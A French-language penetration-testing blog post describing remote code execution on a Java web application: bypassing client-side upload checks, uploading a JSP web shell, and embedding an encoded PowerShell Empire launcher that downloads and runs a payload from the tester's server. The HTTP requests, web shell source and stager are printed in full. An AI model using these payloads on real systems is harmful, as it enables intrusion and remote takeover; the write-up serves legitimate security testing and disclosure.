Aller au contenu
Retour à la recherche en sécurité

Recherche en sécurité

Exécution de code à distance dans une application Web

Exécution de code à distance par téléversement de fichier JSP avec PowerShell Empire

Lors d’un test d’intrusion sur une application Web, nous avons trouvé une fonction de téléversement de fichiers. Les téléversements sont toujours intéressants pour un testeur d’intrusion, parce qu’ils sont difficiles à implémenter de façon sécuritaire. L’application était écrite en Java: un type de fichier qui nous intéresse est donc le JSP, puisqu’il sera exécuté par le serveur si nous parvenons à le téléverser et à y accéder.

Comme rien n’est jamais aussi simple, la fonction n’autorise que certains types de fichiers et affiche un message d’erreur dans la page Web lorsqu’on tente d’en téléverser un autre:

Mais cette validation est-elle faite uniquement du côté client? En interceptant la requête avec un proxy comme Burp, nous parvenons effectivement à remettre n’importe quelle extension de fichier. C’est prometteur! Voici un exemple de la requête HTTP dans laquelle nous modifions certaines données pour téléverser n’importe quelle extension:

POST /path/feature.seam HTTP/1.1
...
...
-----------------------------211094238509232
Content-Disposition: form-data; name="popups:0:j_idt17:j_idt20"; filename="okiok.jsp"
Content-Type: text/html
 <HTML>
   <HEAD>
     <TITLE>OKIOK TEST</TITLE>
   </HEAD>
   <BODY>
     <p>This is a test!</p>
   </BODY>
 </HTML>
-----------------------------211094238509232—

Il faut maintenant trouver où les fichiers sont déposés et vérifier si nous pouvons les charger. Le nom de dossier « uploads » est toujours populaire pour ce genre de fonction.

Bingo! Et de plus, il ne s’agit pas seulement d’un fichier HTML: il a été téléversé avec une extension JSP, ce qui laisse croire qu’une exécution de code à distance est possible. Dans ce cas, pourquoi ne pas téléverser une porte dérobée JSP sur le serveur? Kali, par son paquet webshells, en fournit deux exemples:

/usr/share/webshells/jsp/cmdjsp.jsp /usr/share/webshells/jsp/jsp-reverse.jsp

Voici un exemple du fichier cmdjsp.jsp:

<%@ page import=“java.io.*” %> <%

String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
  String s = null;
  try {
    Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
    BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while((s = sI.readLine()) != null) {
      output += s;
    }
  }
  catch(IOException e) {
    e.printStackTrace();
  }
}
%>
<pre>
  <%=output %>
</pre>

Au téléversement du fichier, le serveur m’a retourné une erreur. Après plusieurs essais, j’ai déterminé que l’usage d’objets BufferedReader causait des problèmes du côté serveur. Le test se faisait en mode boîte noire, ce qui est bien pratique quand on préfère ne pas appeler le client pour lui demander des journaux détaillés parce qu’on a de la difficulté à exécuter du code sur son serveur.

L’étape suivante consistait donc à utiliser une porte dérobée JSP plus simple pour valider ce qui fonctionne. J’ai constaté que la simple requête ping passait.

Le code ressemblait à ceci:

POST /path/feature.seam HTTP/1.1
 ...
 ...
 -----------------------------211094238509232
 Content-Disposition: form-data; name="popups:0:j_idt17:j_idt20"; filename="okiok.jsp"
 Content-Type: text/html
<HTML>
  <HEAD>
    <TITLE>OKIOK TEST</TITLE>
  </HEAD>
  <BODY>
    <%@ page import="java.io.*" %>
    <%
       Process p = Runtime.getRuntime().exec("cmd.exe /C ping my.server");
    %>
  </BODY>
</HTML>
-----------------------------211094238509232—

Et oui: j’ai reçu les requêtes et les réponses ICMP (ping). Voilà une preuve de concept d’exécution de code à distance! Peut-on faire quelque chose de plus utile? Servons-nous des capacités de PowerShell Empire en injectant un amorceur directement dans notre charge utile.

Installons d’abord PowerShell Empire (un serveur accessible directement depuis Internet est nécessaire):

git clone https://github.com/PowerShellEmpire/Empire.git cd Empire/setup/ ./install.sh cd .. ./empire

Créons ensuite un écouteur:

root@kali:~/Empire# ./empire =========================================================================== Empire: PowerShell post-exploitation agent | [Version]: 1.3.3 =========================================================================== [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3 =========================================================================== _______ .___ ___. .______ __ .______ _______ | ____|| \/ | | _ \ | | | _ \ | ____| | |__ | \ / | | |_) | | | | |_) | | |__ | __| | |\/| | | ___/ | | | / | __| | |____ | | | | | | | | | |\ \––.| |____ |_______||__| |__| | _| |__| | _| `._____||_______| 125 modules currently loaded 0 listeners currently active 0 agents currently active (Empire) > listeners [!] No listeners currently active (Empire: listeners) > set Host https://my.server:80 (Empire: listeners) > run

Créons ensuite un amorceur:

(Empire: listeners) > usestager launcher test (Empire: stager/launcher) > generate powershell.exe -NoP -NonI -W Hidden -Enc JAB3AEMAPQBOAGUAdwAtAE8AYgBKAGUAYwB0ACAAUwB5AHMAVABlAG0ALgBOAEUAVAAuAF cAZQBCAEMAbABpAGUAbgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAo AFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQ BkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUA YwBrAG8AJwA7ACQAdwBDAC4ASABFAGEARABFAFIAUwAuAEEAZABkACgAJwBVAHMAZQByAC 0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUAByAE8AeABZACAAPQAgAFsAUwBZ AHMAVABFAE0ALgBOAGUAVAAuAFcARQBiAFIAZQBRAHUAZQBTAFQAXQA6ADoARABFAGYAQQ BVAGwAVABXAGUAYgBQAFIATwB4AFkAOwAkAFcAQwAuAFAAcgBvAHgAeQAuAEMAUgBFAGQA ZQBuAHQAaQBhAEwAcwAgAD0AIABbAFMAeQBTAFQAZQBtAC4ATgBFAHQALgBDAFIARQBkAG UAbgB0AEkAQQBsAEMAYQBjAEgAZQBdADoAOgBEAGUAZgBhAFUATAB0AE4AZQB0AFcATwBS AEsAQwBSAEUARABFAE4AdABJAEEATABTADsAJABLAD0AJwBrADEAQgB3AFgAQwAzAGAAfA BcAFIAZwBiACMAcwBbAG4AbwByAGwAdABhAHoATgBPAH4AXQBXACEAWgA3AGYAJwA7ACQA aQA9ADAAOwBbAEMASABhAFIAWwBdAF0AJABiAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAH cAQwAuAEQATwBXAG4ATABvAEEAZABTAFQAcgBpAG4ARwAoACIAaAB0AHQAcAA6AC8ALwBt AHkALgBzAGUAcgB2AGUAcgA6ADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfA AlAHsAJABfAC0AYgBYAE8AcgAkAEsAWwAkAEkAKwArACUAJABrAC4ATABFAG4AZwB0AGgA XQB9ADsASQBFAFgAIAAoACQAQgAtAGoATwBJAG4AJwAnACkA

La requête HTTP finale ressemblait à ceci:

POST /path/feature.seam HTTP/1.1 … … —————————–211094238509232 Content-Disposition: form-data; name=“popups:0:j_idt17:j_idt20”; filename**=“okiok.jsp**” Content-Type: text/html

OKIOK TEST <%@ page import="java.io.\*" %> <% Process p = Runtime.getRuntime().exec("cmd.exe /C powershell.exe -NoP -NonI -W Hidden -Enc JAB3AEMAPQBOAGUAdwAtAE8AYgBKAGUAYwB0ACAAUwB5AHMAVABlAG0ALgBOAEUAVAAuAFcA ZQBCAEMAbABpAGUAbgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcA aQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUA bgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8A JwA7ACQAdwBDAC4ASABFAGEARABFAFIAUwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUA bgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUAByAE8AeABZACAAPQAgAFsAUwBZAHMAVABFAE0A LgBOAGUAVAAuAFcARQBiAFIAZQBRAHUAZQBTAFQAXQA6ADoARABFAGYAQQBVAGwAVABXAGUA YgBQAFIATwB4AFkAOwAkAFcAQwAuAFAAcgBvAHgAeQAuAEMAUgBFAGQAZQBuAHQAaQBhAEwA cwAgAD0AIABbAFMAeQBTAFQAZQBtAC4ATgBFAHQALgBDAFIARQBkAGUAbgB0AEkAQQBsAEMA YQBjAEgAZQBdADoAOgBEAGUAZgBhAFUATAB0AE4AZQB0AFcATwBSAEsAQwBSAEUARABFAE4A dABJAEEATABTADsAJABLAD0AJwBrADEAQgB3AFgAQwAzAGAAfABcAFIAZwBiACMAcwBbAG4A bwByAGwAdABhAHoATgBPAH4AXQBXACEAWgA3AGYAJwA7ACQAaQA9ADAAOwBbAEMASABhAFIA WwBdAF0AJABiAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAHcAQwAuAEQATwBXAG4ATABvAEEA ZABTAFQAcgBpAG4ARwAoACIAaAB0AHQAcAA6AC8ALwBtAHkALgBzAGUAcgB2AGUAcgA6ADgA MAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfAAlAHsAJABfAC0AYgBYAE8AcgAkAEsA WwAkAEkAKwArACUAJABrAC4ATABFAG4AZwB0AGgAXQB9ADsASQBFAFgAIAAoACQAQgAtAGoA TwBJAG4AJwAnACkA"); %> -----------------------------211094238509232—

Et voici ce que nous obtenons dans notre interface Empire:

(Empire: agents) > [+] Initial agent 3WVIENA934K99AF9 from IP now active

Un agent actif vient de se reconnecter à notre serveur: nous y sommes.

L’étape suivante consiste à extraire de l’information sensible. Après quelques recherches, nous … [contenu retiré] … Désolé, il faut parfois respecter la confidentialité!

Envoyez-nous un message

Seul votre courriel est requis. Choisissez un sujet, ajoutez une note, puis envoyez.

Incident en cours? Appelez la ligne 24/7 plutôt que d’attendre une réponse: +1 450 681-1681, poste 277